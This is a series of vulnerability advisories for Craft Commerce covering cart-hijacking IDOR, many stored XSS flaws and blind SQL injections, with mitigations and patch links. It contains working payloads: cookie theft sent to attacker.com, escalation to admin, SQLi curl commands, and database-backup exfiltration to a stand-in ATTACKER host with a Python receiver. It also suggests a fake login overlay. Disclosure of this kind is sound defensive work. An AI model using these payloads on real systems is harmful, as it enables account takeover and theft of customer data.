An Insecure Direct Object Reference (IDOR) vulnerability exists in Craft Commerce’s cart functionality that allows users to hijack any shopping cart by knowing or guessing its 32-character number. This vulnerability enables the takeover of shopping sessions and potential exposure of PII.

Vulnerability Details

Root Cause

The CartController accepts a user-supplied number parameter to load and modify shopping carts. No ownership validation is performed - the code only checks if the order exists and is incomplete, not whether the requester has authorization to access it.

php // CartController.php:374-389 - actionLoadCart() public function actionLoadCart(): ?Response { $number = $this->request->getParam('number');

if ($number === null) { return $this->asFailure(Craft::t('commerce', 'A cart number must be specified.')); }

// No ownership check - returns any cart to any requester $cart = Order::find()->number($number)->isCompleted(false)->one();

// Cart is loaded into attacker's session without authorization ... }

php // CartController.php:606-616 - getCart() $orderNumber = $this->request->getBodyParam('number'); if ($orderNumber) { // Same issue - no ownership validation $cart = Order::find()->number($orderNumber)->isCompleted(false)->one(); // Returns cart to any requester who knows the number } ---

Attack Scenario

Prerequisites - Target Craft Commerce installation with active shopping carts - Knowledge of a victim’s cart number (32-character hex string)

Cart Number Acquisition Vectors

1. Referrer Header Leakage: Cart URLs shared externally expose the number 2. Browser History: Accessible on shared/compromised devices 3. Proxy/WAF Logs: Cart numbers logged in URL parameters 4. Social Engineering: Support tickets, screenshots containing cart URLs 5. Brute Force: While impractical for random targeting, feasible for targeted attacks against recently-created carts

---

Summary

Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.

This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.

Proof of Concept

Permissions Required

- Access the control panel - Access Craft Commerce - Create/Edit products

Steps to Reproduce 1. Log in to the control panel 2. Navigate to Commerce → Products 3. Add a new product and set the Title field to: (replace https://attacker.com) html <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]>Cookie[^<]<\/th>\s<td[^>]>([\s\S]?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> 4. Save the product 5. Navigate to Commerce → Inventory (/admin/commerce/inventory) 6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server

Cookie Extraction Details The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations: - HTTPCOOKIE - Cookie (used in this PoC) - $SERVER['HTTPCOOKIE'] - $COOKIE['<cookie-name>']

Notes - The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields. - $COOKIE['CRAFTCSRFTOKEN'] is masked in PHP Info, but the unmasked value is available in the other parameters listed above. - This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.

Mitigation 1. Sanitize product and variant fields when rendering in the inventory template 2. Mask sensitive cookie values in the PHP Info utility page (similar to how CRAFTCSRFTOKEN, CRAFTSECURITYKEY, and CRAFTDBPASSWORD are already masked)

Summary A stored XSS vulnerability exists when a user tries to update the Order Status from the Commerce Orders Table. The Order Status Name is rendered without proper escaping, allowing script execution to occur.

--- Proof of Concept Required Permissions - Admin access (to edit/create Order Statuses)

Steps to Reproduce 1. Log in with an admin account 2. Navigate to Commerce → Settings → Order Statuses 3. Create a new order status 4. Set the Name field to: html <img src=x onerror="alert('Order Statuses XSS')"> 5. Save the order status 6. Go to Commerce → Orders (make sure you placed any orders) 7. From the left panel, select any Order Status (e.g., New) 8. Select any order from the orders table → Click on the Gear Icon → then click "Update Order Status..." 9. Notice the XSS execution

Summary

Craft Commerce is vulnerable to SQL Injection in the inventory levels table data endpoint. The sort[0][direction] and sort[0][sortField] parameters are concatenated directly into an addOrderBy() clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.

--- PoC Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage inventory stock levels

Steps to reproduce 1. Log in to the control panel 2. Navigate to Commerce > Inventory 3. Click on any sortable column header (e.g., "SKU") to trigger a sort request 4. Intercept the request and modify sort[0][direction] or sort[0][sortField] parameters and append ,sleep(2) payload to it's current value as follows:

bash sort[0][sortField]=sku,sleep(2) GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels sort[0][direction]=asc,sleep(2) GET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels

6. Observe the delay in the response, confirming the injection

Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed): bash sort[0][sortField]=sku,sleep(2) curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&perpage=25&inventoryLocationId=1&containerId=%23inventory-levels' sort[0][direction]=asc,sleep(2) curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&perpage=25&inventoryLocationId=1&containerId=%23inventory-levels'

Impact With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character using time-based techniques. - Modify or destroy data (drop tables, update records, alter schema).

Summary Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.

--- PoC Required Permissions - General - Access the control panel - Access Craft Commerce - Craft Commerce - Manage orders - Edit orders

Steps to reproduce 1. Log in to the control panel 2. Navigate to Commerce > Orders > Create a new order 3. Click on "Add a line item" to show the purchasables table 4. Intercept the AJAX request and modify the sort parameter as follows: http GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc 5. Observe the delay in the response, confirming the injection

Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed): bash curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, /' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'

Impact With this Blind SQLi, an attacker can: - Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j). - Modify or destroy data (drop tables, update records, alter schema).

Summary A stored XSS vulnerability exists in the Commerce Settings - Inventory Locations page. The Name field is rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript.

This XSS triggers when an administrator (or user with product editing permissions) creates or edits a variant product.

Proof of Concept

Permissions Required - General - Access the control panel - Access Craft Commerce

- Craft Commerce - Manage inventory locations

Steps to Reproduce

1. Log in to the control panel 2. Navigate to Commerce → Inventory Locations 3. Create or edit a location 4. Set Name to the following payload: html <img src=x onerror="alert('XSS')"> 5. Save the location 6. Navigate to Commerce → Products and click "New Product" and click "New product variant" 7. The Inventory Location table loads, rendering the Inventory Location Name 8. XSS executes

Impact - Potential Session Hijacking - Potential Database Exfiltration - Potential Account Takeover by forcing a password change on the victim’s account. - Potential Privilege escalation, or creating new admin users.

Mitigation Sanitize the inventory location name field when rendering in the "Track Inventory" table.

Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in the Craft Commerce Order details. Malicious JavaScript can be injected via the Shipping Method Name, Order Reference, or Site Name. When a user opens the order details slideout via a double-click on the order index page, the injected payload executes.

Reproduction Steps 1. Navigate to Commerce -> Store Management -> Shipping Methods. 1. Click "New Shipping Method". 1. In the Name field, enter the following XSS payload: html <img src=x onerror=alert('XSSShipping')> 1. Save the Shipping Method. 1. Place a new order or edit an existing order. 1. Set the order's Shipping Method to the one created in the previous steps. 1. Navigate to the Orders index page (/admin/commerce/orders). 1. Double-click the target order to open the details slideout. 1. Result: The XSS payload executes.

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Zone (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage shipping - An active administrator elevated session

Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Shipping Zones (/admin/commerce/store-management/primary/shippingzones). 3. Create a new shipping zone. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save & Go back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with the attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 3. In another browser, log in as an admin & go to the vulnerable page (shipping zones page). 4. Go back to the attacker account & notice it is now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored DOM XSS vulnerability exists in the "Recent Orders" dashboard widget. The Order Status Name is rendered via JavaScript string concatenation without proper escaping, allowing script execution when any admin visits the dashboard.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions

- Admin access (to edit/create Order Statuses)

Steps to Reproduce 1. Log in with an admin account 2. Navigate to Commerce → Settings → Order Statuses 3. Create new order status (e.g., "Pending") 4. Set the Name field to: html <img src=x onerror="alert('Order Statuses XSS')" hidden> 5. Save the order status 6. Go to Commerce Orders & make some orders with different statuses (e.g. "New" & "the malicious created status") 7. Go to the Dashboard (/admin/dashboard) & Add "Recent Orders" widget and pick the same 2 statuses for orders 8. Notice the XSS execution <img width="1491" height="568" alt="xss-execution-in-dashboard" src="https://github.com/user-attachments/assets/84e8b121-30b9-4029-93be-e90009b6897e" />

--- Technical Details

File: vendor/craftcms/commerce/src/templates/components/widgets/orders/recent/body.twig

Root Cause: value.name (the Order Status Name) is concatenated directly into the HTML string without sanitization. When JavaScript inserts this HTML into the DOM, any malicious tags/scripts in the name are executed.<img width="1780" height="858" alt="vulnerable-code" src="https://github.com/user-attachments/assets/b150ee9d-c072-4987-b506-81a29c23d84b" />

--- Mitigation Use Craft.escapeHtml() in the callback: javascript callback: function(value) { return '<span class="commerceStatusLabel"><span class="status ' + Craft.escapeHtml(value.color) + '"></span>' + Craft.escapeHtml(value.name) + '</span>'; }

Resources:

https://github.com/craftcms/commerce/commit/d94d1c9832a47a1c383e375ae87c46c13935ba65

Summary

Stored XSS via Product Type names. The name is not sanitized when displayed in user permissions settings.

The vulnerable input (source) is in Commerce (Product Type settings), but the sink is in CMS user permissions settings. Reporting to Commerce GHSA since the input originates here.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions (Attacker)

- Admin access (to edit Commerce settings)

Steps to Reproduce

1. Log in as attacker with admin permissions. 2. Go to Commerce -> Settings -> Product Types (/admin/commerce/settings/producttypes). 3. Create a new Product Type. 4. Set Name to: html <img src=x onerror="alert('XSS-ProductType')" hidden> 5. Save the Product Type. 6. Go to Users -> Edit any user -> Click on Permissions tab (/admin/users/{UserID}/permissions). 7. Alert fires instantly (when the Product Type checkbox renders).

Resources

https://github.com/craftcms/commerce/commit/7e1dedf06038c8e70dce0187b7048d4ab8ffb75c

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage shipping - An active administrator elevated session

Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Shipping Categories (/admin/commerce/store-management/primary/shippingcategories). 3. Create a new shipping category. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save & Go back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator:

1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 3. In another browser, log in as an admin & go to the vulnerable page (shipping categories page). 4. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Methods Name field in the Store Management section is not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage shipping - An active administrator elevated session

Steps to Reproduce

1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Shipping Methods (/admin/commerce/store-management/primary/shippingmethods). 3. Create a new shipping method. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save & Go back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator:

1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: 3. html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})">

4. In another browser, log in as an admin & go to the vulnerable page (shipping methods page). 5. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh, elevated session to complete the attack. Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator's browser. This occurs because the Tax Rates 'Name' field in the Store Management section is not properly sanitized before being displayed in the admin panel.

Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Rates (/admin/commerce/store-management/primary/taxrates). 3. Create a new tax rate. 4. In the Name field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Pick or create a Tax Category since it’s required to save the tax rate. 5. Click Save and you’ll be redirected back to the previous page. 6. Notice the alert proving JavaScript execution. <img width="1887" height="709" alt="poc-alert" src="https://github.com/user-attachments/assets/cbcebb85-dbc7-467c-aca1-7446a67918f2" />

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id:

html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 4. In another browser, log in as an admin & go to the vulnerable page (tax rates page). 5. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it's on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Tax Categories (Name & Description) fields in the Store Management section are not properly sanitized before being displayed in the admin panel.

--- Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Categories (/admin/commerce/store-management/primary/taxcategories). 3. Create a new tax category. 4. In the Name or Description field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you'll be redirected back to the previous page. 5. Notice the alert proving JavaScript execution.

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})">

3. In another browser, log in as an admin & go to the vulnerable page (tax categories page). 4. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

References:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Name & Description fields in Tax Zones are not properly sanitized before being displayed in the admin panel.

Proof of Concept

Requirments - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage store settings - Manage taxes - An active administrator elevated session

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Store Management -> Tax Zones (/admin/commerce/store-management/primary/taxzones). 3. Create a new tax zone. 4. In the Name or Description field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you’ll be redirected back to the previous page. 5. Notice the alert proving JavaScript execution. <img width="1904" height="418" alt="poc" src="https://github.com/user-attachments/assets/09bd993b-550e-40fe-b2d7-1608e25fbc01" />

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with your attacker id: 3. html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})">

4. In another browser, log in as an admin & go to the vulnerable page (tax zones page). 5. Go back to your attacker account & notice you are now an admin.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

References:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the 'Address Line 1' field in Inventory Locations is not properly sanitized before being displayed in the admin panel.

Proof of Concept

Required Permissions - General permissions: - Access the control panel - Access Craft Commerce - Craft Commerce permissions: - Manage inventory locations - An active administrator elevated session

<img width="887" height="832" alt="req-perms" src="https://github.com/user-attachments/assets/7a9a5ef6-4fc3-4af1-8ded-08861ead0b7e" />

Steps to Reproduce 1. Log in to the Admin Panel with the attacker account with the permissions mentioned above. 2. Navigate to Commerce -> Inventory Locations -> Default (/admin/commerce/inventory-locations/1). 3. In the Address Line 1 field, enter the following payload: html <img src=x onerror="alert(document.domain)"> 4. Click Save and you'll be redirected back to the Inventory Locations page. 5. Notice the alert proving JavaScript execution. <img width="1814" height="606" alt="alert-poc" src="https://github.com/user-attachments/assets/f08aed21-a676-4dee-85a8-d195bab85685" />

Privilege Escalation to Administrator: 1. Do the same steps above, but replace the payload with a malicious one. 2. The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the <UserID> with the attacker id: html <img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:CRAFTCSRFTOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions,headers:{'content-type':'application/x-www-form-urlencoded'}})"> 3. In another browser, log in as an admin & go to the vulnerable page (Inventory Location page). 4. Go back to the attacker account & notice it now has admin status.

The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh elevated session to complete the attack.

Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Resources:

https://github.com/craftcms/commerce/commit/fa273330807807d05b564d37c88654cd772839ee

Summary

A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the |md filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- Proof of Concept

Required Permissions

- General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders

Attacker Server Setup

To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as receiver.py on your attacker machine. 2. Run it: python3 receiver.py -- Change the port if needed.

<details>

<summary>Server Python Script</summary>

python #!/usr/bin/env python3 """ Usage: python3 receiver.py """

from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime

class Handler(BaseHTTPRequestHandler): def doOPTIONS(self): self.sendresponse(200) self.sendheader('Access-Control-Allow-Origin', '') self.sendheader('Access-Control-Allow-Methods', 'POST') self.endheaders()

def doPOST(self): self.sendresponse(200) self.sendheader('Access-Control-Allow-Origin', '') self.endheaders() contenttype = self.headers.get('Content-Type', '') if 'multipart/form-data' in contenttype: form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUESTMETHOD': 'POST', 'CONTENTTYPE': contenttype} ) if 'db' in form: filename = f"exfil{datetime.now().strftime('%Y%m%d%H%M%S')}.sql.zip" with open(filename, 'wb') as f: f.write(form['db'].file.read()) print(f"[+] DB saved: {filename} ({os.path.getsize(filename):,} bytes)") self.wfile.write(b"OK")

if name == 'main': print("[] Listening on http://0.0.0.0:8888") # change the port if needed HTTPServer(('0.0.0.0', 8888), Handler).serveforever()

</details>

Steps to Reproduce

1. Log in to the admin panel 2. Navigate to Commerce → Orders 3. Create a new order, enter a customer email, and mark the order as completed. The Order should be saved now; if not, save it. 4. Edit the order 5. Change the order status, a new text field (Status Message) will appear once the status is changed - Make sure you have multiple order statuses; if not, create one from (/admin/commerce/settings/orderstatuses) 6. In the Status Message field, enter the XSS payload below 7. Save/Update the order 8. Log out & log in again with an admin account 9. Visit the order page (/admin/commerce/orders/{OrderID}) 10. XSS executes → Full database backup is triggered and exfiltrated 11. Go back to the attacker’s server and notice a zipped file containing the full exfiltrated database.

XSS Payload (DB Exfiltration)

Note: Replace ATTACKER:8888 with your listener server. html <img src=x onerror="fetch('/index.php?p=admin/actions/utilities/db-backup-perform-action',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'action=utilities/db-backup-perform-action&CRAFTCSRFTOKEN='+Craft.csrfTokenValue+'&downloadBackup=1'}).then(r=>r.blob()).then(b=>{let f=new FormData;f.append('db',b,'backup.sql');fetch('http://ATTACKER:8888/',{method:'POST',body:f})})">

--- Technical Details (Vulnerable Code)

File: vendor/craftcms/commerce/src/templates/orders/history.twig Sink: {{ orderHistory.message | md }} Root Cause: The |md Twig filter (Markdown) processes the message but does not sanitize HTML tags.

--- Impact

The exfiltrated database backup includes, but is not limited to: - Usernames, emails, and password hashes. - Customer PII: Names, addresses, and complete order history. - Transaction records, customer profiles, and coupon codes. - GraphQL tokens. - 2FA recovery codes. - Potentially, payment gateway secrets (if stored directly instead of using environment variables).

Note: This XSS can also be leveraged for the same attacks described in previous reports, including privilege escalation and forced password changes.

--- Mitigation

Sanitize the message before rendering: twig {{ orderHistory.message | md | purify }}

Or escape HTML before Markdown processing: twig {{ orderHistory.message | e | md }}

Additionally, requiring an elevated session for the DB Backup utility would increase the difficulty of exploitation, although it would not prevent the attack, as it might occur while an active elevated session is in place.

Resources:

https://github.com/craftcms/commerce/commit/4665a47c0961aee311a42af2ff94a7c470f0ad8c